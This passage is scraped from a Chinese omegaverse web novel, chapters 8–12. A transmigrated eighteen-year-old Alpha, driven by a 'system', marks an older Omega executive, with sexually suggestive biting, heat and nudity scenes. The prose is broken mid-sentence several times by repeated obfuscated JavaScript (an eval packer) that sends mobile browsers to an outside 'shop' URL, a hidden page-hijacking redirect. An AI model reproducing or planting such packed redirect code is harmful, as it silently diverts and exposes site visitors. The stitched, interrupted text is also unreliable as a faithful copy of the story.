l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695226|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今晚是严若筠第一次跟Alpha这样近距离接触,也是第一次被咬腺体,但他又不是不谙人事的年幼Omega。 该知道的,严若筠早就知道了。 当Omega被咬腺体时,起初觉得疼是正常的,但很快会被Alpha注入的信息素调动起热潮,而信息素融合交织的滋味足以淹没那阵疼…… 可严若筠只觉得疼。 疼得厉害。 这一刻,他切切实实地怀疑医院报告单的准确性,而自己居然真的鬼迷心窍一般,任由眼前这个第一次见面的少年标记自己。 重点是,临时标记还没成功! 100%的信息素匹配度。 ……就这? 严若筠的脸煞白,不仅眼角有泪,额头也渗出些许细密的汗水,沾湿了前额的墨发,将他一贯端庄优雅的气质减弱了几分。 男人眼皮半掀,盯着站在一米外的金发少年,好一会儿才轻声道:“……真是,小屁孩。” 他不知道林逐已经尴尬到脚趾抓地,只是在心里暗忖:难不成外头那些传言都是假的? 严若筠将林逐从头看到脚,也看不出一丝丝浪荡轻浮的气息,反而觉得他笨手笨脚的,连那张嘴都跟吞了哑药一样,哪有同Omega调笑暧昧的余裕? 他久经商场,见过的人形形色色,其中不乏世家纨绔子弟。 那些人是什么样的,严若筠一眼就能看到底。 他原以为林逐也是那种样子。 万万没想到,这个风评差到出圈的年轻Alpha居然举止青涩得像个老实本分的好好学生。 ——连Omega的手都没摸过的那种。 如此想着,严若筠直接问道:“你以前标记过Omega吗?” 自从林逐被严若筠一把推开之后,系统又暗搓搓地冒了头,在林逐的意识中哇哇大叫:“宿主,刚才标记失败了,你还得再来一次呀!” 林逐好不容易才压下满身的不自在,满脸木然地跟系统虚空对线:“主角都被我咬哭了,你觉得他还会让我下嘴吗?” 正说着,他耳边忽而响起严若筠清冷的声线,下意识地开口回答道:“……当然没有。” 毕竟他今天才被系统改造成一个Alpha,对‘信息素’‘临时标记’之类的生理常识仅是一知半解,并且发自内心地感到迷惑…… 被咬人脖子,真的会让人舒服到腿软吗? 严若筠之前咬他那一口,林逐现在还觉得一阵阵的钝疼,而严若筠现在的脸还白着,惟有眼尾残余一抹红,看着就可怜。 答完那句,林逐实在没办法,硬着头皮问:“那个……严、呃……严先生,你能再让我咬一口吗?” “刚才没标记上。”他干巴巴地说。 8. Chapter 8 在他提出二次标记的诉求后,男人沉默了许久,那双深邃中透着灰绿的眸子始终看着林逐,不知在想些什么。 半晌过去。 刚刚还说林逐‘小屁孩’的男人表情越来越冷,眼神也越来越不耐,正当林逐以为自己要被拒绝的时候—— 严若筠居然只是撇过脸,不再看他,身体却默认般地允许他靠近。 从这个角度,林逐能看到自己刚才啃咬过一口的腺体。那微鼓的白团已经肿了,一圈深深的牙印陷了进去,尤其是犬齿的部位,轻微渗血。 林逐难得地感到无措。 他轻手轻脚地上前,路过矮桌时顺手抽了一张纸巾,忽然就听男人冷冰冰地说了一句:“轻点,没下次了。” “嗯。”林逐走到他的身侧,捏着纸巾说,“……我给你擦一下吧?” 严若筠拒绝道:“不用,等下你不是还要咬?” 说得也是。 林逐讪讪地放下手,调整了一下姿势,再次弯下腰凑到严若筠的颈侧,可刚一张开嘴,他就想起方才严若筠疼得推开自己,不由得迟疑了起来…… 万一这次也标记失败了怎么办? 他说了,没下次。 林逐深呼吸,同时在脑子里复习起半生不熟的AO标记常识。 他跟严若筠都没有标记经验。 对于标记不顺利的AO,生理教科书上建议Alpha可以对Omega进行一些抚慰活动,比如爱抚、亲吻、拥抱等亲密行为,以此缓解Omega的紧张,促进信息素的交融。 总而言之,需要进行亲密接触。 他犹豫着抬起左手,虚虚地搭在严若筠的后腰,掌下的细腰顿时一僵。林逐咬咬牙,心想着‘长痛不如短痛’,直接探出舌尖,落到男人微肿的腺体上…… 舌头湿软,温热。 舔舐着快要干涸的血渍。 被林逐搭腰已经是严若筠忍耐过后的结果了,直至腺体被人舔了两三下,他才猛地反应过来,上半身赶忙往前躲了躲,想躲开那条让自己后背发紧的舌头。 林逐生怕二次标记也以失败告终,另一只手迅速地穿过严若筠的前胸,扣在他的肩头,不让人乱动。 他的双唇仍贴在男人的腺体上,含含糊糊地安抚道:“抱歉,书上说这样做能缓解紧张,这回应该不会像上次那样痛了……” 说话时,热气笼罩着男人的腺体。 严若筠的手紧攥着林逐的小臂,力道极重,指尖几乎陷进他的肉里。 林逐被他抓得肌肉一跳,无师自通地开始轻拍男人的后腰,唇舌始终没有离开过腺体。 严若筠快要疯了! 他觉得自己脑子快要坏掉,更怀疑自己今晚这一连串的反常行为是否为100%信息素匹配度的影响。 这种过分亲密的舔舐行为让他浑身汗毛直竖,偏偏他的身体越来越软,力气也使不上来…… 好像被林逐说中了。 尽管严若筠的身体软下来,可他的精神却愈发紧张,忍不住催促道:“可以了。” 可以了吗? 林逐不太确定,松口看了一眼,唇齿与皮肤分开的瞬间发出‘啵’的一声,仔细听还能听到细微的水渍声响。 严若筠当然听到了,耳根发麻。 腺体失去了从少年口腔分享过来的灼热,迅速降温,甚至有一些冷。 冷意一闪而过。 紧接着,严若筠只感到身体内部飞快地涌上一股酸胀,磨人的燥热接踵而来,宛如浪潮般一次次袭来,冲刷着他的神志,势不可挡。 这感觉,严若筠熟悉得不能再熟悉了。 ——他发情了。 意识到这一点之后,严若筠忍不住动了动腿,像是在掩饰着什么。 林逐却以为他又要挣扎离开,不敢再拖延,两只手分别扣住男人的腰肢与肩头,张口便咬在被自己舔舐得红透的腺体处! 咬下的那一刻,严若筠发出很短促的一声吟语:“……唔!” 林逐以为他被自己咬疼了,连忙调动舌头,大面积地覆盖在腺体上,轻轻滑动。 系统说得果然没错,如何标记Omega,是每一个Alpha刻在DNA里的本能。 林逐咬住严若筠的腺体不放,哪怕感知不到严若筠信息素的味道,折磨了他许久的躁动也随着这一举动而缓解。 他陡然陷入了某种从未有过的、奇妙的感知——像是孤身行走在荒漠,恍然偶遇一片绿洲那般,让人振奋又忘情地追逐…… 不知过了多久。 林逐终于从脑海深处的嗡鸣中清醒,耳边恰时响起一道几不可闻的抽气声。 手下的身体在抖,也在躲。 对于自己刚标记过的Omega,Alpha的占有欲正处于巅峰状态,林逐下意识地拦了一下,却遭到更加强烈的反抗。 严若筠挣扎着往前躲,失去了优雅淡然的姿态,显得有些慌张失措,声音又低又急促:“你先放开我!” 期间,林逐衔着他的腺体,本能地轻咬了两下,仿佛在品尝着某样香甜可口的点心,听清严若筠的喊话后,才艰难地撒开嘴。 在他撒嘴撒手的同一时间,严若筠迅速地从旁边捞了一个抱枕过来,盖在大腿上,遮住了叫人尴尬的反应。 客厅里的灯太亮,亮得什么也遮不住,亮得叫人心慌意乱。 两人身上都泛着情热,呼吸急促微喘,眼神误触后,瞬间双双移开。 一般这种情况,正常的AO情侣会选择进行亲密互动,滚到床上去都是常有的事,但他们两个谁都没有靠近,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695227|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将距离拉得更开。 林逐默默坐到了沙发另一头,怀里也抱着个方形抱枕,想等身体反应自然冷却。 过了好一会儿。 两人的呼吸逐渐平静,恢复正常节奏。 林逐已经将抱枕移开了,可严若筠还将其按在腿上,并忽然开口道:“……标记完了,你没什么事就先走吧。” 按理说,刚刚被Alpha标记过的Omega会对其产生依赖性,只想跟对方呆在一处。 严若筠话里话外却透露着一股冷淡,有种用完了人就甩的感觉。 可事实并不是这样的。 林逐拎得很清楚,是他自己为了完成扮演任务才对严若筠两次下嘴啃咬,企图标记对方。 严若筠原本可以不答应的。 但他还是同意了。 一次又一次。 原著里,是渣男前夫哥故意释放信息素诱导他发情,放任他陷入急性情热,旁观他的狼狈,最后在严若筠忍无可忍地主动请求下—— 才极其粗暴地掐着人脖子,给了一个临时标记。 他爽是爽了,但严若筠清醒后可没给他好果子吃,险些把人赶出北都,还由此引出一番私下议论。 后来还是严若筠的发情期来临,经历过初次标记后的Omega再也没办法忍耐生理热,万般无奈之下,才又找上了渣男前夫哥,达成相关协议。 说起来,还是100%的信息素匹配度救了渣男一条狗命。 而严若筠,则在一次次临时标记中理智沦陷,神志不清地接受了终身标记…… 终身标记对他的影响很大。 这让严若筠再也离不开对方,只能与之联姻。随后在为期一年的婚姻生活中,男人从对渣男不假辞色到步步退让,再到予取予求…… 最后,心如死灰,浴火重生。 …… 回过神。 林逐点点头:“好,那我先回去了。” 说着,便将那条还挂在自己脖子上的阻隔项圈摘下来,放到矮桌上,跟那双手套挨在一起。 转念一想,林逐对Omega的体质有些忧虑,忍不住问了句:“你一个人留在这里,没事吧?” 听到这话,严若筠无语地转过头来,瞥他一眼,“你留在这里,我才比较危险吧?” 林逐尴了个尬,但不得不承认,人家说的是大实话。原著里他就是这样着了渣男的道。 林逐走到门口,刚拧开门把手,就听系统闪现阻止道:“…宿主等等!我刚查看了一下任务,进度条已经满95%了,还差最后5%,应该是还差关键台词没补全……” 祂停顿了一下,说出结论。 “所以你还不能走哟。” 林逐:“………………” 哟你个头。 9. Chapter 9 哐叽一声。 房门又合上了。 林逐默默转回身,迎面撞上严若筠疑惑中带着些警惕的眼神,想要说出那句透着迷之自信的关键台词‘舒服吗?只有我能给你’。 他艰难地张了张口。 沉默,遂又合上。 林逐无言地抹了把脸,满脑子都是两次标记中严若筠堪称痛苦的反应,实在无法违背内心,说出这样颠倒黑白的话来。 严若筠见少年开门又关门,出于自身状态,很是警戒地问道:“……做什么?” 都说日久见人心,今晚他跟林逐才第一次见。尽管看出少年跟传闻中的形象有所不同,但严若筠也不敢将自己的人身安全交付在不熟悉的人身上。 尤其对方还是一个年轻气盛的Alpha。 然而他跟林逐之间刚形成临时标记,正是渴望抚慰亲近的时候,没办法做到全然的戒备与拒绝。 好在金发少年远远地站在门内,没有贸然靠近,只是那张脸绷得紧紧的,唇角平直,看起来像是要找人麻烦似的。 林逐的肢体动作比表情更加简单好懂。 只见他的脚尖在地毯上来回蹭蹭,直到快要将那一小块蹭秃噜皮了,才语速很快地问了句:“舒服吗?” 严若筠:“……” 什么鬼? 林逐以为他没听清,清了清嗓,加大声量道:“……你,舒服吗?” 严若筠当然听见了。 他听力好得很,哪句都没落下。 也正因如此,他才猛地反应过来,紧接着就是一阵无语,甚至有点想笑。 严若筠想起年少时,朋友夏枫还不知道自己的病情,经常跟自己聊起他的Alpha男朋友。 每每约会过后,长相可爱的小Omega都会羞涩又甜蜜地抱怨着对方的缠人表现。 “哎呀,处A有个习惯真的特别烦,临时标记也要一直追着问舒不舒服之类的……一直问一直问,不点头都不行。” “这叫什么?唔…处A的自尊心?” 严若筠还记得自己这样问过:“那你是怎么回答的?” “哈哈!”夏枫笑得前仰后合,“当然是说难受死了,然后他就丧着张脸,一声也不吭,我让他做什么就做什么……特别好玩!” 老实说,林逐的技术真不怎么样。第一回疼得严若筠怀疑人生,至于第二回么…… 严若筠不着声色地挪了一下腰,强忍着下身的不适感,面色淡淡地应道:“难受死了。” 林逐:“…………” 他对男人的答案有所预料,也做了相应的心理准备,但当这句诚实的话真的钻进耳朵里的时候—— 林逐还是感到分外窘迫,剩下那半句台词也卡在嗓子眼里,说不出来了。 系统这个播报小能手还在他意识深处小声逼逼:“宿主,98%了,冲鸭冲鸭!” 林逐的脸再次被痛苦面具覆盖,眼神失去高光,殊不知在严若筠眼里,自己活像一只被人毫无预兆踢了一脚的落水金毛小狗。 长得凶,且丧。 还湿漉漉的。 而系统眼见任务正处临门一脚就能完成,长嘘一口气,还不忘尽善尽美地叮嘱道:“如果宿主能掐着主角的脖子说出关键台词就更好了!这才是货真价实的还原嘛。” “不过还是算啦!宿主的演技实在太差了,只要尽量还原核心情节就可以了。” 林·毫无演技·逐:“……” 系统已经彻底变成阳光开朗大男孩的形状,美滋滋地说着, “也是因为事故来得突然,之前总局的系统部门根本没有「前夫哥扮演」这个分支,我也是第一次绑定宿主,内置算法比较简陋……” “这也算是宿主你的福报叭,当我升级了,后续的宿主绝对不可能这么容易完成任务的!” 这福气给你,你要不要啊? 林逐蔫了吧唧地打了个喷嚏,还在思考怎么把剩下半句台词给说了——以另一种不伤自尊的方式。 这时候,严若筠突然开口问:“感冒了?” 林逐愣了一下才回神。 他吸了吸气,果真有些鼻塞,便点头道:“可能有点吧。” 林逐看不到自己的表情,不知道自己的脸色有多差,眼白里的红血丝还没消散,让他看上去仿佛熬了三天三夜没睡觉。 北都的昼夜温差很大,又是初秋季节,夜风更加料峭。林逐现在只是打喷嚏,出去溜达一圈说不定就要重感冒。 严若筠沉默了一会儿,恍然记起眼前这人是个刚满十八周岁的小朋友,自己都二十八了,比他大了快一轮…… 再者说,也是他把人约到这里来的。 于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695228|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,严若筠冲少年点了点下巴,示意道:“你去里面冲个澡吧,柜子有浴袍,你先穿着,把头发衣服都吹干。” 里面,是指卧室里的浴室。 等到少年慢吞吞地走进主卧,浴室传出淅淅沥沥的水声,严若筠才将抱枕移开,站了起来。 套房的装修风格很简约,客厅里的真皮沙发色调深灰,干净得纤尘不染。 起码在他跟林逐成功标记之前,还是纤尘不染的。 此时此刻,只见他刚才坐过的地方留下了一小片可疑的湿痕,被客厅顶灯映得淋漓泛光,看得严若筠心烦离乱。 他之前急着让林逐走,也是因为这个。 或许是压抑了太久,从来没得到过舒缓,严若筠一旦进入发情期就会分泌过量的腺液,给他带来诸多不便。 出门工作简直就是奢望。 他总不能在会议开到一半的时候,中途离场去换一条内裤吧? 严若筠越想,眉头越是紧蹙。 他抽出两张纸巾,沉默地擦拭着这小片水痕,然后将团在一起的纸巾丢入垃圾桶。 身后也传来一阵微凉的不适。 他今天穿的是一套浅色西服,根本藏不了脏污,不用看也知道后面变成了什么狼藉模样。 思及此处,严若筠更心烦,甚至后悔让林逐留下来了。 趁着卧室里的水声未停,他也走了进去,从衣柜里翻出另一件浴袍换到身上。 三两分钟后。 西装与鞋袜在严若筠的脚边堆了一地,湿透的内裤被压在最底下,一个角都没露出来。 “哗啦…哗啦啦……” 旁边浴室水声不断。 严若筠不经意地瞥了过去,发现浴室的磨砂玻璃门被热气熏腾后,逐渐变得光滑透明…… 浴室里的景象随之变得一览无余。 严若筠:“……” 他收回视线,拉开床头抽屉一看——里面果然装满了未拆封的计生用品,有最基础的安全套和润滑油,还有许多别出心裁的小玩具。 香山会馆里都是人精,知道他要跟一位发了情的Alpha开房,居然特地准备了这间明面正经,暗里骚气的房间。 满屋子的商务风,实际上都是情趣。 里面那个小朋友什么都没发现,还光着屁股,傻呆呆地站在花洒底下搓头发呢。 10. Chapter 10 浴室里。 林逐站在花洒底下,温热的水往他身上浇,让每个毛孔都舒张开来,缓解了鼻塞的症状。 下一秒,针扎一样的痛感从两个不同的位置传来——一处是后脖颈的腺体,另一处是左前臂上的指甲印痕。 初见时,林逐就注意到严若筠的指甲修剪得很圆润,不长不短,甲盖上还长着小月牙。 此时,差不多的小月牙印在林逐的前臂上,周遭已经红肿了起来,微微泛青,由此可以看出严若筠当时扣住他的力道有多大。 也可以看出他当时有多难受。 林逐忽然想起什么,挤洗发露的动作都随之一顿,下垂的眼尾愈发耷拉下来。 林逐:“……” 真、真的有那么难受吗? 明明第二次标记的时候,他已经极尽努力地进行安抚了…… 系统跟林逐意识绑定,能轻微地感应到他的情绪,忍不住唏嘘一声,可还没来得及开口,祂就听到宿主在意识中道了声, “虽然不知道你想说什么,但,请闭嘴。” 系统:“……” 啊。 果然跟宿主自述的一样,是个连初恋都没有过的青春期少男呢……只是被主角随口吐槽了一句,居然这么在意的吗? 要知道,今晚的临时标记只是原著开头的开胃小菜,后续还有尺度更加堪忧的剧情呀! 首次任务过程中,系统已经充分感受到宿主自身的道德感与高纯情系数给扮演任务带来的阻碍了,不免忧虑起来。 作为一个合格的系统,祂最终选择默默背负所有,为宿主出谋划策:“唔,其实宿主你不用这么介意,毕竟你之前是普通男性嘛,需要一个适应的过程……” “我倒是有个不成熟的小建议,”系统吟哦一声,“你要不要听听看?” 尽管在短短半天内,林逐数次认为系统更适合扮演渣男,并吐槽过祂好几次,但对于从某种意义上延长自己生命的系统,他还是有一份感激在的。 于是,林逐揉搓头发的动作一停,顺势道:“说来听听。” 系统:“我建议宿主使用脱敏疗法,积极面对自身的短板,比如现在就冲出去,勇敢地对主角说出后半句关键台词,怎么样?” 林逐半月眼:“……你这燕国的地图也太短了。” 系统反问:“那最后这2%宿主打算什么时候完成呢?万一主角在你洗澡的时候直接走人该怎么办?” 祂越说越难过,之前有多快活,现在就有多丧气,电子音都透出几分被生活暴击的苦闷,“要是主角走了,就不满足人物与环境的前置条件了……” 眼见系统真的急了,林逐抹了一把脸上的水渍,坦言道:“我会努力做任务的,但是你之前不是跟我保证过……若是涉及我不能接受的过激情节,会给我保留回旋的余地么?” 他之前跟系统对过今晚的剧本情节,当时还有几分纸糊的信心。 可当林逐亲身上阵了才发现,对一个从未谋面的人做出含有强迫性质的亲密行为有多难。 哪怕只是咬脖子。 更何况,在ABO世界里,咬脖子的含义跟他原来的世界不同,带有更加亲密的定义。 小时候,陈老师也是这么教导他的, “——别学你爸那样。” 所以林逐忍下来了。 Alpha的急性发情像是某种烈性精神病症,患者为此疯狂躁动,唯有侵占、掠夺Omega的信息素才能恢复理智,仿佛那是唯一的救命解药。 但林逐还是忍下来了。 林逐没有告诉系统的是,其实他没有那么嫌弃原著小说。 尽管那满屏的不可描述情节过于掉节操,但是他还是看到了某种明耀的、灼目的东西…… 那是严若筠被命运一寸寸折断,又被他自己拼起来的傲骨。 它的名字叫做,勇气。 挣脱的勇气、离开的勇气、能够笑着走向未来的勇气……是他没有在自己母亲身上看到,又迫切想要看到的勇气。 林逐从没有喜欢过什么具体的人,但是他对心怀勇气的人天然地多了几分好感。 对严若筠,便是这样。 所以在了解过原著剧情后,林逐一度想要放弃做任务,直接解除绑定算了……结果却被系统画的饼诱惑,犹豫着进行了尝试。 尝试过后,林逐发现自己真的不行,但他也是真的不想就此结束自己短暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695229|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一生,思来想去,最后老老实实地跟系统袒露了内心最真实的想法。 ——做任务,但要按他的办法来,免得让场面看上去那么像犯罪现场。 系统听完,沉默许久,电子音艰难地憋出一句:“…………好啦,我也知道宿主是个好孩子啦,要不然在宿主想要放弃的时候,我也不会放弃任务奖励,让宿主按最低标准来扮演NCP了。” 林逐:“……” 林逐:“啊?” 浴室不愧是世界第一心灵之所,让一人一统交付内心,彼此坦诚。 系统垂头丧气地说:“其实我一开始想要绑定的宿主不是你啦,是某个跟NCP人设重合度高达85%的海王渣男,根据检测,那个人肯定能轻松地完成扮演任务……” “当时宿主你不是刚刚结束高考,出了考场后,第一时间就去店里染头发了么?” 林逐应道:“对。” 系统接着道:“我原本看中的宿主就是给你染头发的那位托尼老师啦……” 半天前的车祸,如今回想起来林逐居然有种恍如隔世的错觉,默默道:“啊对,他真的好会推销,我差点办卡了。” 系统的语气愈发悲伤:“没想到会突然冒出一个醉驾的卡车司机,导致我绑错了人,把宿主你这个纯情男高给送过来了!” 人设重合度低得吓人! 本想让海王宿主轻松带飞新手实习统,系统万万没想到,最后是两个小菜鸡互捞。 系统心里苦。 林逐没想到事情的真相居然是这样,好一阵沉默,还是心情复杂地道了声谢。 要不是系统错绑宿主,他已经凉了。 系统哭唧唧地说:“那宿主就用100%的任务进度条来报答我叭,建议现在就冲出去对主角说出关键台词。” 林逐:“……” 林逐:“好歹让我披上浴袍。” 然而,等林逐关上花洒开关,转身想要去拿挂在一旁的浴袍时,视线不期然地跟严若筠对上了…… 仅仅隔着一面透明得宛如空气的玻璃。 刚才还垂头丧气的系统霎时间振奋起来,乐滋滋道:“耶耶,太好了!主角还没有离开,这波稳了!” 11. Chapter 11 浴室内外,寂静无声。 空气仿佛凝固了一般,窒息又沉重。 林逐呆呆地看着浴室外那个抱肩而站的高挑男人,严若筠也回望着浴室里那个赤身裸.体的金发少年…… 四目相对,谁也没吭声。 只有系统兀自高兴,鼓励道:“宿主,别愣着了呀,动起来动起来!”快冲出去说出关键台词! 意识深处里那道呱唧呱唧的电子音唤醒了呆滞的林逐,僵住的身体终于反应过来,只见他眼疾手快地扯过浴袍—— 一把盖住了自己的脑袋! 浴室外。 严若筠怎么也想不到事情会如此发展,一时间有些绷不住表情,忍了忍,还是忍不住露出今晚第一抹真心实意的笑,“……嗤。” 遮脸有什么用啊? 他又不是没见过林逐那张脸。 真是傻得够呛。 - 客厅的一角。 吹风机发出低沉的呜呜声。 林逐已经将浴袍端正整齐地穿在身上了,腰间的带子扎得很紧,领口严严实实地盖住,仿佛想要将浴袍穿出正装的庄肃。 他将吹风机举过头顶,另一手随意地扒拉着稍长的金发,底下的眉眼没有高光,形状姣好的唇瓣抿成一条线。 系统安慰他:“没事的宿主,那是你未来老婆耶,用不着害羞。” 比起害羞,林逐其实更觉得丢脸。 当时他的脑袋好像一下子短路了,居然下意识地做出了宛如网络段子般的举动。 ……看起来智商不太高的样子。 系统诡异地停顿了一下,然后咳嗽两声,语调上扬地道:“仔细想想,这也不是什么坏事耶…?” 林逐熟练道:“虽然不知道你是怎么想的,但,请就此打住。” 然而这个小破统不仅没有打住,还飞快地往下发散道: “宿主你的原始身体数值比原来的渣男NPC更优秀,被主角看光光说不定还能提升好感度,有助于之后的补全剧情任务的展开呢,毕竟不是每一个Alpha都有20……” 林逐啪地一下关掉吹风机,满脸痛苦地打断道:“我能屏蔽你吗?” 系统:“啊?为什么?” 祂觉得经历过浴室谈心后,自己跟宿主的感情更进一步,自然要更加努力地协助宿主完成任务,从方方面面入手! 林逐老实地说:“我觉得你的精神状态过于超前了。” 超前到让他觉得有点变态。 系统:“……” 林逐摸了摸头发,已经干了大半,随后扭头望了一眼身后紧闭的卧室门,顿时松了一口气。 严若筠正在里面浴室洗澡。 系统的那些虎狼之词要是当着对方的面说出来,他或许能就地抠出三室一厅。 别问,问就是尴尬。 正当林逐暗自感叹的时候,房门突然被人敲响,发出略带沉闷的声音。 “叩叩、叩叩——” 林逐迟疑地望着门扉,由于不知道门外的人是谁,他没有贸然上前开门。 隔了一会儿。 严若筠的声音透过卧室房门,传到了客厅,“林逐,去开门。我让助理买了换洗衣服,你去拿进来。” 林逐隔着门应道:“哦好。” 答完话,见卧室里没了声音,他踩着棉质拖鞋往门口走去,让外头的人进来。 严若筠的助理是一个男性Beta,约莫三十出头,西装穿得板正,脸上戴了一副黑框眼镜,瞧着很干练。 他手上提了两个印着服装品牌LOGO的购物袋走进来,一照面就朝林逐点了点头,露出一抹很淡的微笑:“你好,是严总让我过来的。” 说完,就把其中一个袋子递给了林逐。 林逐道了声谢,双手接过,瞥见袋子里装着一整套衣服,是简约风的白衬衫黑裤子,有些像学生制服。 他眼尖地看到上衣与裤子之间夹着一条未拆封的内裤,不由得局促地抿了抿唇。 助理推了一下眼镜,又将另一个袋子递上前,解释道:“这里面是严总的,尺码是一样的,省得拿错了。” 林逐一同接过,连连点头,也不知道说什么好,便又道了声谢:“谢谢,麻烦你了。” “没有的事,职责所在。” 助理摆了摆手,他的表情一直很正经,眼睛也没有四处乱瞟,送完衣服就礼貌地退了出去。 林逐重新关上门,看着手里的购物袋缓缓呼出一口气,出神地想着:其实主角也不像原著里写的那样高冷…… 嗯。明明性格就很好。 林逐一边换衣服,一边神游太空,殊不知自己给那位沉稳靠谱的助理带来多大的震撼。 陈元跟在严若筠身边七年。 作为高级秘书,他不仅要处理上司下达的公事,偶尔也要充当生活助理,解决上司的私人需求。 给严总送衣服这种事,陈元不是没做过。 上层圈子与商业合作向来不缺宴会与应酬,有时候遇到意外情况,衣服脏污了难免不得体,需要换一套新的。 所以,在接到严总要他前往香山别馆送换洗衣服的电话时,陈元很淡定——直到他听完上司提出的要求。 “买两套衣服过来,一套我的尺码,另一套……小一号?算了,都买一样的吧。到了就直接来香山的A区酒店三楼,3012号房。” “对了,这件事要保密。” 陈元连声应答着,语气毫无波澜,瞳孔却微微放大,透出几分惊讶。 他是严总身边的老员工了,对上司的许多习惯都了如指掌——比如,除了远距离出差,严总从不在外夜宿,更别提跟别人一同开房了。 又比如,当严总有私事不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695230|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让老严总他们知道的时候,就会让他保密。 去年严总私下去找医生咨询腺体切除手术的时候,也是这么说的, “陈元,要保密。” 等到了香山会馆。 陈元提着新购置的两套衣服迈入A3012的大门,他几乎用尽了全身的力气才勉强将表情控制住,扶眼镜的手却微微颤抖…… 他没看到严总。 来开门的是一个年轻Alpha。 Alpha有一头明耀的金发,长相是极具攻击性的俊美,气质却阴郁厌世,没表情的模样隐隐显出几分凶气。 他身上只套了一件白色浴袍,头发半干不干,似乎还残留着未散的水汽……伸手接袋子的时候,陈元居然发现对方的左前臂印着好几道指甲的痕迹。 甲痕很深,青紫微鼓起的模样显然是不久前才留下的。 陈元早在几年前就结婚了,跟自己的Omega孕育了两个孩子,自然对这种痕迹的来源心知肚明。 陈元:“……” 霎时间,内心又是一阵八级地震。 - 幸好林逐没有读心术,完全不知道陈元那张淡然沉稳的表情底下藏着多么激烈的情绪。 他换好衣服后,坐在客厅沙发上默默等待,心里惦记着今晚关键剧情点缺失的那2%,颇有些坐立难安的意味。 毫不夸张地说,在短短一天之内,他的丢人程度已经刷新了过去十八年的记录。 已创历史新高。 系统自诩是个小棉袄,劝慰道:“宿主,安啦安啦,早早把脸丢光了,之后做什么都不会比现在更尴尬了。” 林逐:“……有你真是我的福气。” 他转念一想,发现这话也不是没有道理,竟然被诡异地安慰到了。 下一秒,林逐忽然皱了皱眉,连续换了几个坐姿才稍微舒服一些。 此时他穿着一件略宽松的白衬衣,下身的直筒长裤十分合身,唯一的不适之处在肉眼不能见的地方。 ——内裤买小了。 勒得慌。 林逐的手机落在了卧室浴室里的置物架上,现在手上也没有东西可以转移注意力,紧绷的感觉越来越明显,让人无法忽视。 过了十来分钟。 卧室门忽然打开了。 林逐的视线第一时间跟了过去。 只见严若筠裹着浴袍从里面走出来,手上正用毛巾擦拭着头发,被热水浸润过的五官更加立体精致。 他的身形格外高挑,换一套打扮就能直接在秀场上走圈儿,长款浴袍被他穿得短了一截,遮不住那对光洁修长的小腿。 路过沙发去拿吹风机的时候,他瞥了一眼在沙发上愣坐着的林逐,忽然勾了勾唇角。 无声,胜有声。 林逐:“…………” 可恶,性格好差劲! 12. Chapter 12 严若筠拎着吹风机折返,忽然在林逐身前停住了脚步。 那双深邃的眼眸看过来的时候,总是带着淡淡的审视,林逐却不觉得讨厌。 他只是有些不自在。 林逐坐正了些,刚要开口说话,就见裹着浴袍的男人朝自己弯腰靠近,两人之间的距离越来越近…… 他下意识地闭上嘴巴,侧头闪避了一下,余光里却瞥见一只手臂越过自己的身侧,勾起了被他挡住一半的纸袋。 严若筠拿过纸袋,往里看了一眼,语气不咸不淡地问了句:“你躲什么?” 林逐:“……没什么。” 刚才他还觉得主角性格好,叮嘱他去洗澡预防生病,又给自己准备了衣服。 此刻,他只觉得这人在故意逗自己玩儿。 是错觉吗? 趁严若筠还没转身回卧室换衣服,林逐又赶忙说了句:“我手机落在浴室了,我想先去取一下。” 严若筠侧了侧身,示意他先进去。 浴室里的热气未散。 海盐精华沐浴露的清浅香气萦绕其间,芬香扑鼻。 